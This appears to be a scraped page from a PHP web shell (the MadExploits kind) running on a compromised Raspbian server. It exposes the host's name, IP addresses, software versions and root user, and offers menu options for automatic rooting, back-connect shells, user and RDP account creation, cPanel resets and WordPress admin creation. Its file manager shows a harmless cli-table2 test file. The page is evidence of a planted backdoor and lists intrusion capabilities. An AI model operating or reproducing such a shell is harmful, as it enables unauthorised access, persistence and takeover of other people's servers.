Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
node_modules /
cli-table2 /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
cell-test.js
29.47
KB
-rw-r--r--
example-tests.js
275
B
-rw-r--r--
layout-manager-test.js
4.26
KB
-rw-r--r--
original-cli-table-index-tests...
10.33
KB
-rw-r--r--
original-cli-table-newlines-te...
2.54
KB
-rw-r--r--
table-layout-test.js
12.78
KB
-rw-r--r--
table-test.js
2.8
KB
-rw-r--r--
utils-test.js
13.13
KB
-rw-r--r--
verify-legacy-compatibility-te...
4.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : table-test.js
describe('@api Table ',function(){ var chai = require('chai'); var expect = chai.expect; var Table = require('..'); var colors = require('colors/safe'); it('wordWrap with colored text',function(){ var table = new Table({style:{border:[],head:[]},wordWrap:true,colWidths:[7,9]}); table.push([colors.red('Hello how are you?'),colors.blue('I am fine thanks!')]); var expected = [ '┌───────┬─────────┐' , '│ ' + colors.red('Hello') + ' │ ' + colors.blue('I am') + ' │' , '│ ' + colors.red('how') + ' │ ' + colors.blue('fine') + ' │' , '│ ' + colors.red('are') + ' │ ' + colors.blue('thanks!') + ' │' , '│ ' + colors.red('you?') + ' │ │' , '└───────┴─────────┘' ]; expect(table.toString()).to.equal(expected.join('\n')); }); it('allows numbers as `content` property of cells defined using object notation', function() { var table = new Table({style:{border:[],head:[]}}); table.push([{content: 12}]); var expected = [ '┌────┐' , '│ 12 │' , '└────┘' ]; expect(table.toString()).to.equal(expected.join('\n')); }); it('throws if content is not a string or number', function() { var table = new Table({style:{border:[],head:[]}}); expect(function() { table.push([{content: {a:'b'}}]); table.toString(); }).to.throw(); }); it('works with CJK values', function () { var table = new Table({style: {border:[],head:[]}, colWidths: [5, 10, 5]}); table.push( ['foobar', 'English test', 'baz'] , ['foobar', '中文测试', 'baz'] , ['foobar', '日本語テスト', 'baz'] , ['foobar', '한국어테스트', 'baz'] ); var expected = [ '┌─────┬──────────┬─────┐' , '│ fo… │ English… │ baz │' , '├─────┼──────────┼─────┤' , '│ fo… │ 中文测试 │ baz │' , '├─────┼──────────┼─────┤' , '│ fo… │ 日本語… │ baz │' , '├─────┼──────────┼─────┤' , '│ fo… │ 한국어… │ baz │' , '└─────┴──────────┴─────┘' ]; expect(table.toString()).to.equal(expected.join("\n")); }); }); /* var expected = [ '┌──┬───┬──┬──┐' , '│ │ │ │ │' , '├──┼───┼──┼──┤' , '│ │ … │ │ │' , '├──┼───┼──┼──┤' , '│ │ … │ │ │' , '└──┴───┴──┴──┘' ]; */
Close